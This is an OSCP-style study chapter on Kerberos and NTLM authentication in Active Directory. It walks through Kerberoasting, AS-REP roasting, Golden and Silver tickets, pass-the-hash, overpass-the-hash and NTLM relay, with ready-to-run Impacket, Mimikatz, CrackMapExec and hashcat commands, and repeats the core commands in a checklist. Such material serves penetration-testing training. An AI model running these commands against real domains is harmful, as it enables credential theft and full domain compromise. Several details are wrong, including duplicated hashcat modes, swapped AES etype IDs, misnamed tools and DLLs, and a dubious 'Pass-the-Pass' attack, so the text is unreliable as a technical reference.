Authentication Protocols
Authentication is the foundation of Active Directory security. Understanding how Kerberos and NTLM work — and how they can be abused — is essential for OSCP. This chapter covers both protocols in depth, along with the Security Support Providers (SSPs) that implement them.
1. Kerberos Overview
Kerberos is the default authentication protocol for Active Directory since Windows 2000. It is a ticket-based protocol that uses symmetric key cryptography to authenticate users and services.
The Three-Phase Authentication Flow
Phase 1: TGT Acquisition (AS Exchange)
═══════════════════════════════════════
Client KDC (AS)
│ │
│ ── AS-REQ ──────────────────> │
│ (username, realm, │
│ timestamp + pre-auth) │
│ │
│ │ Lookup user account
│ │ Verify pre-auth (encrypt
│ │ timestamp with user's key)
│ │
│ <── AS-REP ────────────────── │
│ (TGT encrypted with │
│ KRBTGT key) │
│ (Session key encrypted │
│ with user's key) │
│ │
Phase 2: Service Ticket (TGS Exchange)
══════════════════════════════════════
Client KDC (TGS) Service
│ │ │
│ ── TGS-REQ ─────────────────> │ │
│ (TGT, desired SPN, │ │
│ authenticator) │ │
│ │ │
│ │ Verify TGT │
│ │ Issue service ticket │
│ │ │
│ <── TGS-REP ───────────────── │ │
│ (Service ticket encrypted │ │
│ with service's key) │ │
│ (New session key) │ │
│ │ │
│ ── AP-REQ ────────────────────────────────────────> │
│ (Service ticket, │ │
│ authenticator) │ │
│ │ │
│ <── AP-REP ─────────────────────────────────────── │
│ (Optional challenge) │ │
│ │ │
Phase 3: Service Access
══════════════════════════════════════
The service verifies the ticket and grants access.
Kerberos Key Concepts
| Term | Description |
|---|---|
| KDC (Key Distribution Center) | Service running on every DC that issues tickets. Has two components: AS and TGS. |
| AS (Authentication Service) | Issues TGTs in response to AS-REQ. Verifies pre-authentication. |
| TGS (Ticket Granting Service) | Issues service tickets in response to TGS-REQ. Verifies TGTs. |
| TGT (Ticket Granting Ticket) | Special ticket encrypted with the KRBTGT account key. Used to request service tickets. Valid for 10 hours by default, renewable for up to 1 week. |
| SPN (Service Principal Name) | Unique identifier for a service instance. Format: ServiceClass/FQDN:Port (e.g., MSSQLSvc/db01.corp.local:1433) |
| Ticket | Encrypted blob that proves identity to a service. Contains client principal, target principal, session key, timestamps, and flags. |
| Pre-authentication | Proof of identity before TGT issuance. Typically PA-ENC-TIMESTAMP (encrypt current timestamp with user’s key derived from password). |
| Realm | Kerberos domain name, usually the DNS domain name in UPPERCASE (e.g., CORP.LOCAL) |
| KRBTGT | Special account used to encrypt TGTs. Its hash is the “root key” of the Kerberos realm. |
Kerberos Ticket Structure
TGT Structure:
├── Client Principal → Who the ticket is for (e.g., user@CORP.LOCAL)
├── Target Principal → krbtgt/CORP.LOCAL@CORP.LOCAL
├── Session Key → For encrypted communication with TGS
├── Start Time → When the ticket becomes valid
├── End Time → When the ticket expires (default: 10 hours)
├── Renew Until → Until when the ticket can be renewed (default: 1 week)
├── Flags → Forwardable, renewable, pre-auth, etc.
├── Authorization Data → PAC (Privilege Attribute Certificate) for Windows
└── Encrypted with: → KRBTGT account's NT hash
Kerberos Encryption Types
| Encryption Type | ID | Strength | Notes |
|---|---|---|---|
| RC4-HMAC | 23 | Weak | Default for older systems. Vulnerable to pass-the-hash. Used in Golden Ticket attacks. |
| AES128-HMAC-SHA1 | 18 | Moderate | Better than RC4. Required for modern systems. |
| AES256-HMAC-SHA1 | 17 | Strong | Strongest commonly used. Default on modern Windows. |
Kerberos Ports
| Port | Protocol | Service |
|---|---|---|
| 88 | TCP/UDP | Kerberos (AS + TGS) |
| 464 | TCP/UDP | Password change service (kpasswd) |
2. Kerberos-Based Attacks
Kerberoasting
The most common AD attack in OSCP labs.
Attack Flow:
═══════════
1. Enumerate users with SPNs (Service Principal Names)
→ Any user with an SPN is a Kerberoasting target
2. Request a TGS ticket for that user's SPN
→ As any authenticated domain user, you can request TGS tickets
→ The TGS encrypts the ticket with the target user's password hash
3. Capture the TGS ticket
→ The ticket is returned to you encrypted with the user's NT hash
4. Crack the ticket offline
→ Use Hashcat or John the Ripper
→ TGS tickets use RC4-HMAC by default (easy to crack)
→ No account lockout risk (offline cracking)
Why it works:
═══════════
- Any domain user can request TGS tickets for any SPN
- The TGS encrypts the ticket with the service account's password hash
- You receive the encrypted ticket and can crack it offline
- No interaction with the target service is needed
Commands:
# Find Kerberoasting targets
Get-ADUser -Filter {servicePrincipalName -ne "$null"} -Properties servicePrincipalName
# Request TGS tickets (PowerView)
Get-UserSPNs -Request
# Using Impacket
getUserSPNs.py -request -dc-ip DC_IP DOMAIN/user:password@DC_IP
# Crack with Hashcat
hashcat -m 13100 -a 0 ntlm_hash.txt wordlist.txt
# -m 13100 = Kerberos 5 TGS-REP (eType 23 - RC4-HMAC)
# -m 19600 = Kerberos 5 TGS-REP (eType 17 - AES128)
# -m 19600 = Kerberos 5 TGS-REP (eType 18 - AES256)
AS-REP Roasting
Attack Flow:
═══════════
1. Find users with "Do Not Require Pre-Authentication" enabled
→ UAC flag: DONT_REQ_PREAUTH (4194304)
2. Send an AS-REQ for that user
→ The KDC cannot verify pre-auth (it's disabled)
→ The KDC returns an AS-REP encrypted with the user's password hash
3. Capture the AS-REP
→ Encrypted with the user's NT hash
4. Crack offline with Hashcat
→ No account lockout risk
Commands:
# Find AS-REP Roasting targets
Get-ADUser -Filter {doesNotRequirePreAuth -eq $true} -Properties sAMAccountName
# Using Impacket
getusers.py -dc-ip DC_IP DOMAIN/ -usersfile asrep_targets.txt
# Crack with Hashcat
hashcat -m 18200 -a 0 asrep_hash.txt wordlist.txt
# -m 18200 = AS-REP Roasting
Golden Ticket
Attack Flow:
═══════════
1. Obtain the KRBTGT account's NT hash
→ Via DCSync: secretsdump.py -just-dc-user krbtgt DOMAIN/admin@DC_IP
→ Via NTDS.dit extraction
2. Forge a TGT using the KRBTGT hash
→ The KDC will accept this forged TGT as valid
→ You can specify any username, any group membership
3. Use the forged TGT to request service tickets
→ You can become ANY user, including Domain Admins
→ The ticket is valid for up to 10 hours (configurable)
Why it's dangerous:
═══════════
- Complete domain compromise
- Can impersonate any user
- No interaction with the KDC needed after initial TGT
- Extremely difficult to detect (valid Kerberos ticket)
Commands:
# Using Impacket ticketer.py
ticketer.py -nthash KRBTGT_NT_HASH -domain-id 1 -sid DOMAIN_SID \
-domain DOMAIN.COM evil_user
# Using the forged ticket
export KRB5CCNAME=evil_user.ccache
psexec.py -k -no-pass DOMAIN/DC_IP
# Using Mimikatz
kerberos::golden /user:admin /domain:corp.local /sid:S-1-5-21-... \
/krbtgt:HASH /id:500
Silver Ticket
Attack Flow:
═══════════
1. Obtain the NT hash of a specific service account
→ e.g., the computer account hash for a DC (CIFS service)
2. Forge a service ticket (TGS) for that specific service
→ Unlike Golden Ticket, you don't need KRBTGT
→ You need the hash of the specific service account
3. Use the forged service ticket to access that service
→ You can access CIFS/DC as any user
→ Limited to the specific service you forged the ticket for
Why it's useful:
═══════════
- Don't need KRBTGT hash (lower privilege requirement)
- Can target specific services (CIFS, MSSQL, etc.)
- Harder to detect than Golden Ticket (looks like normal TGS)
Commands:
# Using Impacket
ticketer.py -nthash SERVICE_NT_HASH -domain-id 1 -sid DOMAIN_SID \
-domain DOMAIN.COM -spn CIFS/DC01.DOMAIN.COM evil_user
# Using Mimikatz
kerberos::silver /user:admin /domain:corp.local /sid:S-1-5-21-... \
/rc4:SERVICE_HASH /service:cifs /target:DC01.corp.local
Pass-the-Ticket
Attack Flow:
═══════════
1. Capture a Kerberos ticket from memory
→ From lsass.exe process
→ Using Mimikatz: kerberos::list
2. Inject the ticket into your session
→ Mimikatz: kerberos::ptt [ticket_file]
→ Or export KRB5CCNAME=ticket.ccache (Linux)
3. Use the ticket to authenticate
→ The ticket is used automatically by Kerberos
→ You become the ticket's principal
Overpass-the-Hash (Pass-the-Hash → Kerberos)
Attack Flow:
═══════════
1. Obtain the NTLM hash of a user
→ From credential dumping, DCSync, etc.
2. Request a TGT using the NTLM hash (instead of password)
→ The KDC accepts the hash as pre-authentication
→ You receive a valid TGT
3. Use the TGT normally
→ Request service tickets, access resources
→ Full Kerberos authentication without the plaintext password
Commands:
# Using Impacket
getTGT.py DOMAIN/username -hashes :NT_HASH_VALUE
# Using the TGT
export KRB5CCNAME=username.ccache
psexec.py -k -no-pass DOMAIN/TARGET
# Using Mimikatz
kerberos::ptt [TGT_KRB_CRED_FILE]
# Or:
sekurlsa::pth /user:username /domain:DOMAIN /ntlm:HASH
3. NTLM Overview
NTLM (NT LAN Manager) is a challenge-response authentication protocol. It is older than Kerberos and is used when Kerberos is not available or explicitly bypassed.
NTLM Three-Way Handshake
Client Server
│ │
│ ── NTLM Negotiate ──────────> │
│ (client capabilities, │
│ highest supported version) │
│ │
│ <── NTLM Challenge ────────── │
│ (8-byte random nonce) │
│ │
│ Client computes response: │
│ 1. Hash password → NT hash │
│ 2. Combine NT hash + nonce │
│ + username + domain + │
│ timestamp → response │
│ │
│ ── NTLM Authenticate ───────> │
│ (response to challenge) │
│ │
│ Server verifies response │
│ against stored hash │
│ │
│ <── Access Granted/Denied ─── │
│ │
NTLM Hash Structure
NTLM Hash Components:
├── LM Hash (LAN Manager)
│ └── WEAK, deprecated. Empty on modern systems (Windows Vista+)
│ └── Stored as first half of "LM:NT" pair
├── NT Hash (NTLM)
│ └── MD4 hash of Unicode (UTF-16LE) password
│ └── Stored as second half of "LM:NT" pair
└── Format in NTDS.dit:
└── LM_HASH:NT_HASH
(LM hash is empty on modern systems: :NT_HASH)
NTLMv1 vs NTLMv2
| Feature | NTLMv1 | NTLMv2 |
|---|---|---|
| Response | Simple hash of password + challenge | HMAC-MD5 with username, domain, timestamp |
| Security | Weak, easily cracked | Stronger, but still vulnerable to relay |
| Status | Deprecated, disabled by default | Default on modern Windows |
| Session Security | No | Yes (NTLMv2 Session Security) |
NTLM Ports
| Port | Protocol | Service |
|---|---|---|
| 445 | TCP | SMB (primary NTLM transport) |
| 139 | TCP | NetBIOS Session Service (legacy) |
4. NTLM vs Kerberos Comparison
| Feature | NTLM | Kerberos |
|---|---|---|
| Protocol Type | Challenge-response | Ticket-based |
| Ports | 445/SMB, 139/NetBIOS | 88/TCP-UDP |
| Delegation | No native delegation support | Full delegation support (unconstrained, constrained, RBCD) |
| Encryption | Session security only (NTLMv2) | Mutual authentication, strong encryption (AES) |
| Pass-the-Hash | Supported — reuse NT hash directly | Not directly — need TGT (use Overpass-the-Hash) |
| Relay Attacks | Vulnerable — relay NTLM auth to another service | Protected — SPN binding prevents relay |
| Default Since | Pre-Windows 2000 | Windows 2000+ |
| Scalability | Direct authentication (client ↔ server) | Centralized (client ↔ KDC ↔ server) |
| Offline Cracking | Capture challenge-response, crack offline | Capture ticket, crack offline (Kerberoasting) |
5. NTLM-Based Attacks
Pass-the-Hash
Attack Flow:
═══════════
1. Dump the NTLM hash from memory or NTDS.dit
→ Mimikatz: sekurlsa::logonpasswords
→ DCSync: secretsdump.py
2. Use the hash directly for authentication
→ No need for plaintext password
→ Works with SMB, WMI, PSExec
3. Access resources as the hash owner
Commands:
# Using Impacket
psexec.py -hashes :NT_HASH DOMAIN/user@TARGET
wmiexec.py -hashes :NT_HASH DOMAIN/user@TARGET
# Using CrackMapExec
crackmapexec smb TARGET -u user -H NT_HASH
NTLM Relay
Attack Flow:
═══════════
1. Set up an NTLM relay listener
→ ntlmrelayx.py
2. Lure a target to authenticate to your listener
→ SMB relay: share a malicious file
→ HTTP relay: host a malicious webpage
→ Any service that triggers NTLM authentication
3. Relay the authentication to another service
→ The target's credentials are relayed to LDAP, SMB, etc.
→ No cracking needed — live authentication
4. Execute commands or escalate privileges
→ LDAP relay: add user to Domain Admins
→ SMB relay: gain admin access to another machine
Commands:
# Basic NTLM relay to LDAP
ntlmrelayx.py -t ldap://DC_IP --escalate-user targetuser
# Relay to SMB
ntlmrelayx.py -t smb://TARGET_IP
# With SMB signing bypass check
crackmapexec smb TARGET_IP -u user -p pass | grep "Sign"
# If "Signing: Disabled", relay attacks are possible
Pass-the-Pass
Attack Flow:
═══════════
1. Capture the NTLM response (challenge + response pair)
→ From network traffic (Wireshark)
→ From memory dumps
2. Reuse the captured response
→ When the same challenge is presented, the same response works
→ Limited usefulness (challenge is random)
6. SSP (Security Support Provider)
SSPs are DLLs that implement authentication protocols. They are loaded into processes that perform authentication, making them critical for both legitimate authentication and credential theft.
How SSPs Work
Authentication Process:
═══════════════════════
Client Side: Server Side (DC):
┌─────────────────┐ ┌─────────────────┐
│ Client Process │ │ lsass.exe │
│ (e.g., explorer)│ │ │
│ │ │ │
│ kerberos.dll │ │ kerberos.dll │
│ msapsspc.dll │ │ msapsspc.dll │
│ wdigest.dll │ │ wdigest.dll │
│ │ │ │
└─────────────────┘ └─────────────────┘
Common SSPs
| SSP DLL | Protocol | Notes |
|---|---|---|
kerberos.dll |
Kerberos | Primary authentication protocol |
msapsspc.dll |
NTLM | NTLM authentication |
digestsse.dll |
Digest | HTTP Digest authentication |
schannel.dll |
SSL/TLS | Secure channel authentication |
wdigest.dll |
Credential Caching | Stores plaintext credentials in memory if enabled |
SSP Attack Relevance
| Attack | Description |
|---|---|
| Mimikatz SSP Injection | Mimikatz injects itself as a custom SSP DLL into lsass.exe. This allows it to capture credentials as they pass through the authentication pipeline. |
| Kerberos Golden/Silver Ticket | Extracts keys from lsass memory via SSP to forge Kerberos tickets. |
| Credential Dumping | Reads lsass.exe memory to extract plaintext credentials, NTLM hashes, and Kerberos tickets. |
| SSP Persistence | Malicious SSP DLL registered in the registry persists across reboots, continuously capturing credentials. |
SSP Registry Location
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSPP\Package
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\SecurityProviders
OSCP Exam Checklist: Authentication Protocols
Must-Know Concepts
- Kerberos is the default AD authentication protocol (ticket-based)
- NTLM is challenge-response, used when Kerberos is unavailable
- Kerberos 3-phase flow: AS-REQ/REP → TGS-REQ/REP → AP-REQ/REP
- TGT is encrypted with KRBTGT key; service tickets encrypted with service key
- Kerberoasting: any domain user can request TGS for any SPN → crack offline
- AS-REP Roasting: users without pre-auth → AS-REP encrypted with user hash → crack offline
- Golden Ticket: forge TGT with KRBTGT hash → become any user
- Silver Ticket: forge service ticket with service hash → access specific service
- Pass-the-Hash: reuse NTLM hash for SMB/WMI authentication
- NTLM Relay: relay captured NTLM auth to another service (no cracking needed)
- Overpass-the-Hash: convert NTLM hash to Kerberos TGT
- wdigest.dll stores plaintext credentials in lsass memory
- Mimikatz injects as SSP to capture credentials from lsass
Must-Remember Commands
# Kerberoasting
getUserSPNs.py -request -dc-ip DC_IP DOMAIN/user:pass@DC_IP
# AS-REP Roasting
getusers.py -dc-ip DC_IP DOMAIN/ -usersfile targets.txt
# DCSync (get KRBTGT for Golden Ticket)
secretsdump.py -just-dc-user krbtgt DOMAIN/admin@DC_IP
# Golden Ticket
ticketer.py -nthash KRBTGT_HASH -domain-id 1 -sid DOMAIN_SID -domain DOMAIN.COM evil
# Pass-the-Hash
psexec.py -hashes :NT_HASH DOMAIN/user@TARGET
# NTLM Relay
ntlmrelayx.py -t ldap://DC_IP --escalate-user targetuser